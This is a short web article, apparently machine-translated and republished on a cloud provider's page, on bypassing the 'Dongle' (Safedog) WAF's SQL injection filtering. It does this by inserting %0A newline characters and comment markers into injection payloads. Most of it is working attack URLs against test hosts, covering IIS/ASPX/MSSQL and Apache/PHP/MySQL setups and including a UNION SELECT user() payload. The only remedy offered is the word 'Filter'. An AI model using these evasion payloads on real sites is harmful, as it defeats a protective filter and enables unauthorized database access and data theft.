Dongle SQL Injection Protection Policy Bypass Vulnerability

Source: Internet
Author: User
Tags sql injection protection

Dongle SQL Injection Protection Policy Bypass Vulnerability

 

Dongle Bypass Vulnerability: attackers can bypass a character directly. In some special cases, they must be used with annotator.

Core character used for bypass: % 0A, which must be used with annotator in some special cases.

% 0A is just an idea, and the divergence is that multiple % 0A overlays, or is used together with the annotator -,/**/

 

1. The local machine is installed with the injected V5shop (the architecture is IIS6 + ASPX + MSSQL2005 to test the IIS version of the secure dog). The general injection test is as follows:

http://192.168.91.152/cart.aspx?act=buy&id=1 AND 1=user


 



AND is recognized AND intercepted as a keyword.



2. Add % 0A and try again:
 

http://192.168.91.152/cart.aspx?act=buy&id=1%0AAND 1=user


 





Bypass and inject.

In the Apache + php + Mysql environment:

First, try the injection as usual:
 

http://192.168.91.152:8000/About.php?did=2 and/**/(select user())=”


 



Because and user () are all keywords in the blacklist. Then join % 0A and try again:
 

http://192.168.91.152:8000/About.php?did=2%0Aand/**/(select%0Auser())=”

 

http://192.168.91.152:8000/About.php?did=2%0Aand/**/(select%0Auser())=’root@localhost’


 







Of course, % 0A is just an idea, and the divergence is that multiple % 0A overlays, or mixed with the annotator. For example:
 

http://192.168.91.152:8000/About.php?did=-2%0Aunion–%0Aselect%0Auser()


 

 

Solution:

Filter

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.